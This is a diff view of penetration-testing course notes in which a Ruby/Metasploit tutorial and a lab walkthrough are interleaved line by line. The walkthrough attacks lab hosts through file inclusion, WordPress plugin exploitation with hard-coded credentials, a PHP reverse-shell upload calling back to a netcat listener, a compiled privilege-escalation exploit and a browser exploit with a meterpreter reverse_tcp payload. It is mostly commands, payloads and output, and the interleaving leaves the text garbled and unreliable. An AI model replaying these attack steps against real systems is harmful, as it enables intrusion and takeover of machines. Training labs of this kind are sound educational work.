1245 | - | a = "Woot Woot, we are learning regular expressions!!" |
1245 | + | -- view source -- |
1246 | - | puts a.sub(/^..../, 'Today') |
1246 | + | -- Nothing in source -- |
1247 | - | puts a.sub(/^..../, 'Today') |
1247 | + | |
1248 | Browsed to the flag link: | |
1249 | view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag | |
1250 | -- view source -- | |
1251 | - | - Let’s Loop the expressions. This example shows how to loop the expressions. |
1251 | + | -- Nothing in source -- |
1252 | ||
1253 | - | a.scan(/...../) {|w| puts w} |
1253 | + | |
1254 | - | a.scan(/\S\S/) {|w| puts w} |
1254 | + | Tried a PHP base64 decode with the URL: |
1255 | http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php | |
1256 | http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php | |
1257 | http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php | |
1258 | - | - Character classes |
1258 | + | |
1259 | ------ https://www.base64decode.org/ ------- | |
1260 | - | strategicsec = "I Scanned 45 hosts and found 500 vulnerabilities" |
1260 | + | Use the string found here: |
1261 | - | "I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y} |
1261 | + | http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php |
1262 | - | "I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y} |
1262 | + | |
1263 | ------------------------------------------------------------------- | |
1264 | PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg== | |
1265 | ------------------------------------------------------------------- | |
1266 | - | - Arrays, Push and Pop, and Hashes |
1266 | + | <?php |
1267 | defined ('VIAINDEX') or die('Ooooh! So close..'); | |
1268 | ?> | |
1269 | - | - In the following example, numbers is an array that holds 6 integer numbers. |
1269 | + | <h1>Flag</h1> |
1270 | <p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p> | |
1271 | <img src="trollface.png" /> | |
1272 | <?php | |
1273 | - | numbers = [2,4,6,8,10,100] |
1273 | + | // Ok, ok. Here's your flag! |
1274 | - | puts numbers[0] |
1274 | + | // |
1275 | - | puts numbers[4] |
1275 | + | // flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} |
1276 | - | numbers[2] = 150 |
1276 | + | // |
1277 | - | puts numbers |
1277 | + | // Well done, you're doing great so far! |
1278 | // Next step. SHELL! | |
1279 | // | |
1280 | // | |
1281 | // Oh. That flag above? You're gonna need it... | |
1282 | - | - Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop. |
1282 | + | ?> |
1283 | ||
1284 | ###################### | |
1285 | # Attacking Minotaur # | |
1286 | - | framework = [] |
1286 | + | |
1287 | - | framework << "modules" |
1287 | + | |
1288 | - | framework << "exploits" |
1288 | + | Step 1: Portscan/Bannergrab the target host |
1289 | - | framework << "payloads" |
1289 | + | ---------------------------Type This----------------------------------- |
1290 | - | framework.pop |
1290 | + | sudo nmap -sV 172.31.2.117 |
1291 | ----------------------------------------------------------------------- | |
1292 | ||
1293 | - | - Hash is a collection of elements, which is like the associative array in other languages. Each element has a key |
1293 | + | |
1294 | - | that is used to access the element. |
1294 | + | |
1295 | Step 2: Vulnerability scan the web server | |
1296 | ---------------------------Type This----------------------------------- | |
1297 | - | - Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes. |
1297 | + | |
1298 | - | In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the |
1298 | + | |
1299 | - | respective values: 'what module should you use', 'Windows XP' and 'SSH'. |
1299 | + | |
1300 | ||
1301 | git clone https://github.com/sullo/nikto.git Nikto2 | |
1302 | - | metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'} |
1302 | + | |
1303 | - | print metasploit.size |
1303 | + | cd ~/toolz/Nikto2/program |
1304 | - | print metasploit["microsoft"] |
1304 | + | |
1305 | - | metasploit['microsoft'] = 'redhat' |
1305 | + | perl nikto.pl -h 172.31.2.117 |
1306 | - | print metasploit['microsoft'] |
1306 | + | ----------------------------------------------------------------------- |
1307 | ||
1308 | ||
1309 | ||
1310 | - | - Writing Ruby Scripts |
1310 | + | Step 3: Directory brute-force the webserver |
1311 | ---------------------------Type This----------------------------------- | |
1312 | cd ~/toolz | |
1313 | - | - Let’s take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what |
1313 | + | |
1314 | - | this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that |
1314 | + | git clone https://github.com/v0re/dirb.git |
1315 | - | someone made to look for a specific port. The port that it is looking for is port 21 FTP. |
1315 | + | |
1316 | cd dirb/ | |
1317 | - | cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan |
1317 | + | |
1318 | ./configure | |
1319 | - | ack.rb ftpbounce.rb syn.rb tcp.rb xmas.rb |
1319 | + | |
1320 | make | |
1321 | - | - Lets look at tcp.rb |
1321 | + | |
1322 | - | |
1322 | + | dirb |
1323 | ||
1324 | ./dirb http://172.31.2.117 wordlists/big.txt | |
1325 | - | - Let’s take the time now to create and design our own port scanner what we will design here is a port scanner that |
1325 | + | ----------------------------------------------------------------------- |
1326 | - | will scan for port up to 0-1024. And we will add a function in there for the port scanner to prompt us stating OPEN |
1326 | + | |
1327 | - | port if it detects it. This is a pretty basic script, but it will help you in the event that you need to write |
1327 | + | ### dirb output ### |
1328 | - | something on the fly. |
1328 | + | ==> DIRECTORY: http://172.31.2.117/bull/ |
1329 | ----------------------------------------------------------------------- | |
1330 | ||
1331 | ||
1332 | - | - PortScanner.rb : |
1332 | + | Step 4: Run wordpress vulnerability scanner |
1333 | ---------------------------Type This----------------------------------- | |
1334 | - | require 'socket' |
1334 | + | sudo apt-get install -y libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev |
1335 | - | require 'timeout' |
1335 | + | |
1336 | cd ~/toolz | |
1337 | - | puts "Enter IP Address to Scan:" |
1337 | + | |
1338 | - | ipaddress = gets |
1338 | + | rm -rf wpsca* |
1339 | ||
1340 | - | 1.upto(1024) {|port| |
1340 | + | git clone https://github.com/wpscanteam/wpscan.git |
1341 | - | begin |
1341 | + | |
1342 | - | timeout(5) do |
1342 | + | cd wpscan |
1343 | - | TCPSocket.open(ipaddress.chop, port) |
1343 | + | |
1344 | - | end |
1344 | + | sudo gem install bundler && bundle install --without test development |
1345 | - | puts "Response/Port Open: #{port}" |
1345 | + | |
1346 | - | rescue Timeout::Error |
1346 | + | rbenv install 2.5.0-dev |
1347 | - | # uncomment the following line to show closed ports (noisy!) |
1347 | + | |
1348 | - | #puts "No Response /Port closed: #{port}" |
1348 | + | ruby wpscan.rb -u http://172.31.2.117/bull/ --enumerate u |
1349 | - | rescue |
1349 | + | ----------------------------------------------------------------------- |
1350 | - | # uncomment the following line to show closed ports (noisy!) |
1350 | + | |
1351 | - | #puts "No Response /Port closed: #{port}" |
1351 | + | |
1352 | - | end |
1352 | + | |
1353 | - | } |
1353 | + | |
1354 | Step 5: Attack vulnerable Wordpress plugin with Metasploit | |
1355 | ---------------------------Type This----------------------------------- | |
1356 | cd ~/toolz/metasploit | |
1357 | ||
1358 | ./msfconsole | |
1359 | ||
1360 | use exploit/unix/webapp/wp_slideshowgallery_upload | |
1361 | ||
1362 | - | ###################################### |
1362 | + | set RHOST 172.31.2.117 |
1363 | - | # Chapter 2: Metasploit Fundamentals # |
1363 | + | |
1364 | - | ###################################### |
1364 | + | set RPORT 80 |
1365 | ||
1366 | - | - Let’s take a little look at Metasploit Framework |
1366 | + | set TARGETURI /bull |
1367 | ||
1368 | - | - First, we should take note of the different directories, the Modular Architecture. |
1368 | + | set WP_USER bully |
1369 | ||
1370 | - | The modules that make up the Modular Architecture are |
1370 | + | set WP_PASSWORD Bighornedbulls |
1371 | - | Exploits |
1371 | + | |
1372 | - | Auxiliary |
1372 | + | |
1373 | - | Payload |
1373 | + | ----------------------------------------------------------------------- |
1374 | - | Encoder |
1374 | + | |
1375 | - | Nops |
1375 | + | Damn...that didn't work...Can't reverse shell from inside the network to a host in the VPN network range. |
1376 | This is a lab limitation that I implemented to stop students from compromising hosts in the lab network | |
1377 | and then from the lab network attacking other students. | |
1378 | - | Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own, |
1378 | + | |
1379 | ||
1380 | - | are |
1380 | + | ---------------------------Type This----------------------------------- |
1381 | wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz | |
1382 | - | Modules |
1382 | + | |
1383 | - | Scripts |
1383 | + | tar -zxvf php-reverse-shell-1.0.tar.gz |
1384 | - | Plugins |
1384 | + | |
1385 | - | External |
1385 | + | cd ~/toolz/php-reverse-shell-1.0/ |
1386 | - | Data |
1386 | + | |
1387 | - | Tools |
1387 | + | nano php-reverse-shell.php |
1388 | ----------------------------------------------------------------------- | |
1389 | - | - Let's take a look inside the Metasploit directory and see what's the |
1389 | + | ***** change the $ip and $port variables to a host that you have already compromised in the network |
1390 | ***** for this example I chose 172.31.2.64 and kept port 1234 | |
1391 | ||
1392 | ||
1393 | ---------------------------Type This----------------------------------- | |
1394 | chmod 777 php-reverse-shell.php | |
1395 | cp php-reverse-shell.php .. | |
1396 | ----------------------------------------------------------------------- | |
1397 | - | - Now let's take a look inside the Modules directory and see what's there. |
1397 | + | |
1398 | ||
1399 | - | cd ~/toolz/metasploit/modules |
1399 | + | |
1400 | ----------- Paste this into a new file called wp_gallery_slideshow_146_suv.py ----------- | |
1401 | https://www.exploit-db.com/raw/34681/ | |
1402 | ||
1403 | - | |
1403 | + | python wp_gallery_slideshow_146_suv.py -t http://172.31.2.117/bull/ -u bully -p Bighornedbulls -f php-reverse-shell.php |
1404 | - | The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does |
1404 | + | |
1405 | - | not necessarily need to - have a shell or session started on a machine. |
1405 | + | ----------------------------------------------------------------------- |
1406 | ||
1407 | - | The exploits directory has our modules that we need to pop a shell on a box. |
1407 | + | |
1408 | - | The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses |
1408 | + | |
1409 | - | like Burp Suite |
1409 | + | Set up netcat listener on previously compromised host |
1410 | - | - Let’s take a look at the external directory |
1410 | + | ---------------------------Type This----------------------------------- |
1411 | ssh -l webmin 172.31.2.64 | |
1412 | - | cd ~/toolz/metasploit/external |
1412 | + | webmin1980 |
1413 | ||
1414 | python -c 'import pty;pty.spawn("/bin/bash")' | |
1415 | ||
1416 | - | - Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules. |
1416 | + | |
1417 | cd /tmp | |
1418 | - | cd ~/toolz/metasploit/data |
1418 | + | |
1419 | ./boom2 | |
1420 | ||
1421 | nc -lvp 1234 | |
1422 | - | - For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS |
1422 | + | ----------------------------------------------------------------------- |
1423 | - | brute-forcing |
1423 | + | |
1424 | ||
1425 | - | cd ~/toolz/metasploit/data/wordlists |
1425 | + | |
1426 | ||
1427 | - | |
1427 | + | ---------------------Type This in your browser ------------------------ |
1428 | http://172.31.2.117/bull//wp-content/uploads/slideshow-gallery/php-reverse-shell.php | |
1429 | - | - The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter |
1429 | + | ----------------------------------------------------------------------- |
1430 | - | once a session is created. |
1430 | + | |
1431 | ||
1432 | - | cd ~/toolz/metasploit/data/meterpreter |
1432 | + | Now check your listener to see if you got the connection |
1433 | ---------------------------Type This----------------------------------- | |
1434 | id | |
1435 | ||
1436 | /sbin/ifconfig | |
1437 | - | - The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things |
1437 | + | |
1438 | - | like escalating privileges and dumping hashes. |
1438 | + | python -c 'import pty;pty.spawn("/bin/bash")' |
1439 | ||
1440 | - | These are being phased out, though, and post-exploitation modules are what is being more preferred. |
1440 | + | ---------------------------Type This----------------------------------- |
1441 | - | The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll |
1441 | + | |
1442 | - | find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code |
1442 | + | cat >> exploit2.c << out |
1443 | - | for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our |
1443 | + | ----------------------------------------------------------------------- |
1444 | - | custom shellcode. |
1444 | + | |
1445 | https://www.exploit-db.com/raw/37292/ | |
1446 | - | The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have |
1446 | + | |
1447 | - | to do with other programs to make things like importing and exporting reports simple. |
1447 | + | **************hit enter a few times ***************** |
1448 | - | Now that we have a clear understanding of what all of the different directories house, we can take a closer look at |
1448 | + | |
1449 | - | the exploits directory and get a better understanding of how the directory structure is there, so if we make our own |
1449 | + | ---------------------------Type This----------------------------------- |
1450 | - | modules we're going to have a better understanding of where everything needs to go. |
1450 | + | out |
1451 | ||
1452 | - | cd ~/toolz/metasploit/modules/exploits |
1452 | + | |
1453 | gcc -o boom2 exploit2.c | |
1454 | ||
1455 | ./boom2 | |
1456 | ||
1457 | - | - The exploits directory is split up into several different directories, each one housing exploits for different types |
1457 | + | |
1458 | - | of systems. I.E. Windows, Unix, OSX, dialup and so on. |
1458 | + | ----------------------------------------------------------------------- |
1459 | - | Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down |
1459 | + | |
1460 | - | into categories of different types of services/programs, so that you can pick out an exploit specifically for the |
1460 | + | ......YEAH - do the happy dance!!!! |
1461 | - | service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds |
1461 | + | |
1462 | - | for us. |
1462 | + | |
1463 | ||
1464 | - | cd ~/toolz/metasploit/modules/auxiliary/ |
1464 | + | |
1465 | ||
1466 | - | |
1466 | + | ################## |
1467 | # Attacking Sedna # | |
1468 | ################### | |
1469 | - | - And a little further into the directory, let's take a look at what's in the scanner directory |
1469 | + | |
1470 | Attack steps: | |
1471 | - | cd ~/toolz/metasploit/modules/auxiliary/scanner/ |
1471 | + | ------------- |
1472 | ||
1473 | ||
1474 | - | - And one more folder deeper into the structure, let's take a look in the portscan folder |
1474 | + | |
1475 | Step 1: Ping sweep the target network | |
1476 | - | cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan |
1476 | + | ---------------------------Type This----------------------------------- |
1477 | nmap -sP 172.31.2.0/24 | |
1478 | - | |
1478 | + | ----------------------------------------------------------------------- |
1479 | ||
1480 | - | - If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open |
1480 | + | |
1481 | - | and report them back to us in a nice, easily readable format. |
1481 | + | |
1482 | ||
1483 | - | cat tcp.rb |
1483 | + | |
1484 | - | |
1484 | + | |
1485 | Step 2: Port scan/Bannergrab the target host | |
1486 | ---------------------------Type This----------------------------------- | |
1487 | - | - Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use |
1487 | + | sudo nmap -sV 172.31.2.86 |
1488 | - | once you have a session on a machine. |
1488 | + | ----------------------------------------------------------------------- |
1489 | - | Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit |
1489 | + | |
1490 | - | succeeds. |
1490 | + | |
1491 | PORT STATE SERVICE VERSION | |
1492 | - | cd ~/toolz/metasploit/modules/payloads/ |
1492 | + | 22/tcp open ssh (protocol 2.0) |
1493 | 53/tcp open domain ISC BIND 9.9.5-3-Ubuntu | |
1494 | - | |
1494 | + | 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |
1495 | 110/tcp open pop3 Dovecot pop3d | |
1496 | 111/tcp open rpcbind 2-4 (RPC #100000) | |
1497 | - | - There are three different types of payloads: single, stagers, and staged. Each type of payload has a different |
1497 | + | 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: SEDNA) |
1498 | - | application for it to be used as. |
1498 | + | 143/tcp open imap Dovecot imapd |
1499 | - | Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you |
1499 | + | 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: SEDNA) |
1500 | - | do everything once you have that shell calling back to you. |
1500 | + | 514/tcp filtered shell |
1501 | - | Stagers are required for limited payload space so that the victim machine will call back to your attack box to get |
1501 | + | 993/tcp open ssl/imap Dovecot imapd |
1502 | - | the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that |
1502 | + | 995/tcp open ssl/pop3 Dovecot pop3d |
1503 | - | much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used |
1503 | + | 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |
1504 | - | to download Stages payloads. |
1504 | + | 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : |
1505 | SF-Port22-TCP:V=6.40%I=7%D=1/26%Time=5A6B4540%P=x86_64-pc-linux-gnu%r(NULL | |
1506 | SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n"); | |
1507 | - | - Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind |
1507 | + | |
1508 | - | shells. |
1508 | + | Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . |
1509 | Nmap done: 1 IP address (1 host up) scanned in 246.11 seconds | |
1510 | - | cd ~/toolz/metasploit/modules/payloads/singles |
1510 | + | |
1511 | - | cd windows |
1511 | + | |
1512 | ||
1513 | ||
1514 | ||
1515 | ||
1516 | - | - We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and |
1516 | + | |
1517 | - | see what it actually does. |
1517 | + | |
1518 | ||
1519 | - | cat adduser.rb |
1519 | + | Step 3: Vulnerability scan the webserver ports |
1520 | ---------------------------Type This----------------------------------- | |
1521 | - | Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give |
1521 | + | |
1522 | - | the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that |
1522 | + | |
1523 | - | it gives Windows to add the user to the system. |
1523 | + | |
1524 | ||
1525 | git clone https://github.com/sullo/nikto.git Nikto2 | |
1526 | - | - Stagers just connect to victim machine back to yours to download the Stages payload, usually with a |
1526 | + | |
1527 | cd Nikto2/program | |
1528 | - | windows/shell/bind_tcp or windows/shell/reverse_tcp |
1528 | + | |
1529 | perl nikto.pl -h 172.31.2.86 | |
1530 | - | cd ~/toolz/metasploit/modules/payloads/stagers |
1530 | + | |
1531 | perl nikto.pl -h 172.31.2.86:8080 | |
1532 | - | |
1532 | + | ----------------------------------------------------------------------- |
1533 | ||
1534 | ||
1535 | - | - Again, we can see that we have stagers for multiple systems and code types. |
1535 | + | |
1536 | ||
1537 | - | ls windows/ |
1537 | + | |
1538 | - | |
1538 | + | Step 4: Perform directory bruteforce against the target host |
1539 | ---------------------------Type This----------------------------------- | |
1540 | wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl | |
1541 | - | As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim |
1541 | + | |
1542 | - | machine, so we can upload or download our stage payloads and execute commands. |
1542 | + | perl Webr00t.pl -h 172.31.2.86 -v |
1543 | - | Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with |
1543 | + | ----------------------------------------------------------------------- |
1544 | - | our stagers... |
1544 | + | |
1545 | ||
1546 | - | cd /toolz/metasploit/modules/payloads/stages |
1546 | + | |
1547 | or with dirbuster (dirb) | |
1548 | - | |
1548 | + | |
1549 | ||
1550 | ||
1551 | - | Again, we can see that our stages are coded for particular operating systems and languages. |
1551 | + | |
1552 | - | We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the |
1552 | + | ---------------------------Type This----------------------------------- |
1553 | - | victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run, |
1553 | + | |
1554 | - | if any. |
1554 | + | |
1555 | git clone https://github.com/v0re/dirb.git | |
1556 | - | - Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have |
1556 | + | |
1557 | - | already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens, |
1557 | + | cd dirb/ |
1558 | - | so we can impersonate other users on the system in hopes of elevating our privileges. |
1558 | + | |
1559 | ./configure | |
1560 | - | cd ~/toolz/metasploit/modules/post |
1560 | + | |
1561 | make | |
1562 | - | cd windows/ |
1562 | + | |
1563 | dirb | |
1564 | - | |
1564 | + | |
1565 | ./dirb http://172.31.2.86 wordlists/big.txt | |
1566 | ----------------------------------------------------------------------- | |
1567 | - | Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all |
1567 | + | |
1568 | - | the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to |
1568 | + | ### dirb output ### |
1569 | - | escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as |
1569 | + | ==> DIRECTORY: http://172.31.2.86/blocks/ |
1570 | - | possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in |
1570 | + | ==> DIRECTORY: http://172.31.2.86/files/ |
1571 | - | memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network. |
1571 | + | ==> DIRECTORY: http://172.31.2.86/modules/ |
1572 | ==> DIRECTORY: http://172.31.2.86/system/ | |
1573 | ==> DIRECTORY: http://172.31.2.86/themes/ | |
1574 | - | # Day 4 Homework # |
1574 | + | |
1575 | + http://172.31.2.86/robots.txt (CODE:200|SIZE:36) | |
1576 | - | Please take screenshots of you doing the first 10 videos in this playlist |
1576 | + | + http://172.31.2.86/server-status (CODE:403|SIZE:291) |
1577 | - | https://www.youtube.com/playlist?list=PL1512BD72E7C9FFCA |
1577 | + | ### dirb output ### |
1578 | ||
1579 | ||
1580 | ||
1581 | ||
1582 | - | ################################################### |
1582 | + | |
1583 | - | # Section 2: Actually Using Metasploit (For real) # |
1583 | + | Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0 |
1584 | - | ################################################### |
1584 | + | |
1585 | - | The Windows 7 VM required for this lab can be downloaded from here: |
1585 | + | An exploit for this application can be found at: |
1586 | - | https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip |
1586 | + | https://www.exploit-db.com/exploits/40390/ |
1587 | - | username: workshop |
1587 | + | |
1588 | - | password: password |
1588 | + | |
1589 | ||
1590 | - | ################################## |
1590 | + | |
1591 | - | # Basic Client-Side Exploitation # |
1591 | + | |
1592 | - | ################################## |
1592 | + | -------------------save this a "BuilderEngine.html"------------------- |
1593 | <html> | |
1594 | - | echo j0e-r0x > /home/infosecaddicts/j0e-r0x.txt (You can of course replace j0e-r0x with yourname) |
1594 | + | <body> |
1595 | <form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" | |
1596 | - | sudo /sbin/iptables -F |
1596 | + | |
1597 | enctype="multipart/form-data"> | |
1598 | <input type="file" name="files[]" /> | |
1599 | <input type="submit" value="send" /> | |
1600 | </form> | |
1601 | </body> | |
1602 | - | use exploit/windows/browser/ie_cgenericelement_uaf |
1602 | + | </html> |
1603 | ----------------------------------------------------------------------- | |
1604 | - | set ExitOnSession false |
1604 | + | |
1605 | ||
1606 | - | set URIPATH /ie8 |
1606 | + | Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine. |
1607 | ||
1608 | - | set PAYLOAD windows/meterpreter/reverse_tcp |
1608 | + | Change the IP address in the source code of the webshell to another server in the lab network that you have root access to. |
1609 | ||
1610 | - | set LHOST CHANGEME-TO-YOUR-UBUNTU-IP (Make sure you change this to your ubuntu ip address) |
1610 | + | On the other server run: |
1611 | nc -lvp 1234 | |
1612 | - | exploit -j |
1612 | + | |
1613 | Then upload the pentestmonkey reverseshell to .86 | |
1614 | ||
1615 | - | - Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address) |
1615 | + | ============================================ Attacking another server because I need a reverse shell ========================================= |
1616 | - | - given to you by metasploit. |
1616 | + | |
1617 | ################## | |
1618 | - | - The address will be something like: |
1618 | + | |
1619 | ################## | |
1620 | - | http://CHANGEME-TO-YOUR-UBUNTU-IP:8080/ie8 (Make sure you change this to your ubuntu ip address) |
1620 | + | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - CyberWar Day 1" (ex: Joseph - McCray - CyberWar Day 1). |
1621 | ||
1622 | Also be sure to name the attached file "FirstName.LastName.CyberwarDay1.docx" (Joseph.McCray.CyberWarDay1.docx). | |
1623 | ||
1624 | - | - This will simulate a victim clicking on your malicious link and being exploited with a browser exploit. |
1624 | + | NOTE: This is what is required in order to receive your certificate of completion and CPEs. |